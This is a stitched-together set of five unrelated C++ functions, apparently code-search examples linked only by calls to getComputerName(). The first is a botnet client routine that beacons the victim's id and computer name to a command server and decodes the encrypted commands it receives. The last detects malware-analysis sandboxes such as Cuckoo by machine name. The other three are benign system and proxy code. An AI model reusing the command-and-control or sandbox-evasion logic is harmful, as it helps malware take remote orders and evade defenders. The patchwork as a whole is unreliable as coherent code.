std::vector<std::string> master_conn::ask_for_cmd() { typedef botnet::http::http_request http_request; typedef botnet::http::http_client http_client; std::vector<std::string> arr; std::string host = HOST + ':' + std::to_string(PORT); std::string content; http_request *http_req = new http_request(botnet::http::GET); http_request::headers header; header.add("Host", host); count_conn++; std::string path = "?id=" + client_id; path += "&compname=" + getComputerName(); http_req->setPath(path); http_req->setHeaders(header); http_client *http_c = new http_client(HOST, PORT); http_c->request(http_req); content = http_c->getContent(); arr = split(content, "\n"); for (int i = 0; i < arr.size(); i++) { arr[i] = decrypt(base64_decode(arr[i])); } return arr; }
int ServerProxy::handleNewConnectionFromProxy(T_channel_type type, int channelId) { switch (type) { case channel_x11: { return handleNewXConnectionFromProxy(channelId); } case channel_cups: { return handleNewGenericConnectionFromProxy(channelId, channel_cups, "localhost", cupsServerPort_, "CUPS"); } case channel_smb: { return handleNewGenericConnectionFromProxy(channelId, channel_smb, getComputerName(), smbServerPort_, "SMB"); } case channel_media: { return handleNewGenericConnectionFromProxy(channelId, channel_media, "localhost", mediaServerPort_, "media"); } case channel_http: { return handleNewGenericConnectionFromProxy(channelId, channel_http, getComputerName(), httpServerPort_, "HTTP"); } case channel_slave: { return handleNewSlaveConnectionFromProxy(channelId); } default: { #ifdef PANIC *logofs << "ServerProxy: PANIC! Unsupported channel with type '" << getTypeName(type) << "'.\n" << logofs_flush; #endif cerr << "Error" << ": Unsupported channel with type '" << getTypeName(type) << "'.\n"; return -1; } } }
// send initial information - as focus changed void SensorFileSysWalker::sendNewComputerInfo() { logger.logInfo( "sendNewComputerInfo: execute..." ); String name = getComputerName(); sendSignal( SIGNAL_COMPUTER_NAME , name ); String disks = getDiskList(); for( int k = 0; k < disks.length(); k++ ) { String disk = disks.getMid( k , 1 ) + ":"; sendSignal( SIGNAL_DISK_LISTITEM , disk ); } }
void cSystem::checkComputingResource(unsigned int nGPU, unsigned int nCPU) { std::string message; std::string hostname = getComputerName(); unsigned int nGPUmax = 0, nCPUmax = 0; nGPUmax = getNumGPUs(); message = "(" + hostname + ") "; message += "has only " + num2str(nGPUmax) + " GPUs!"; require(nGPU <= nGPUmax, message.c_str()); nCPUmax = getNumProcessors(); message = "(" + hostname + ") "; message += "has only " + num2str(nCPUmax) + " CPU cores!"; require(nCPU <= nCPUmax, message.c_str()); }
void computerNameSandboxes() { string names[10] = { "USER", "ANDY", "COMPUTERNAME", "CUCKOO", "SANDBOX", "NMSDBOX", "XXXX-OX", "CWSX", "WILBERT-SC", "XPAMAST-SC"}; try { string strName = getComputerName(); transform(strName.begin(), strName.end(), strName.begin(), ::toupper); for (size_t i = 0; i < 10; i++) { if (strName == names[i].c_str()) { string filename = names[i].append(".txt"); createAndWriteFile((char *)filename.c_str()); printf("Sandbox Detected - Computername\n"); } } } catch (int e){ } }